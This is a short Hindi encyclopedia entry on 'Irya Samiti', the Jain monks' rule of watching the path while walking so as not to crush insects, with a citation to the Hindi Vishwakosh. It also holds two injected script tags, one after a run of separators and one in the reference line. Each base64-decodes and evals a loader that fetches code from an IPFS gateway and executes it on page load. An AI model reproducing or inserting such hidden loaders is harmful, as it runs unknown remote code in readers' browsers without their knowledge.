ईर्या समिति
भारत डिस्कवरी प्रस्तुति
ईर्या समिति निरीक्षण के साथ गमन अर्थात् देख देखकर चलना। जैनमतानुसार सूर्योदय के पश्चात् लोगों के आवागमन से मार्ग मर्दित होने पर जैन मुनियों के लिए साढ़े तीन हाथ आगे देखकर चलने का नियम है। यह नियम इस कारण रखा गया है कि रास्ते पर घूमने फिरनेवाले कीड़े फतिंगे दिखाई पड़ें और उन्हें कुचलने से बचाया जा सके।[1]
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 37 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>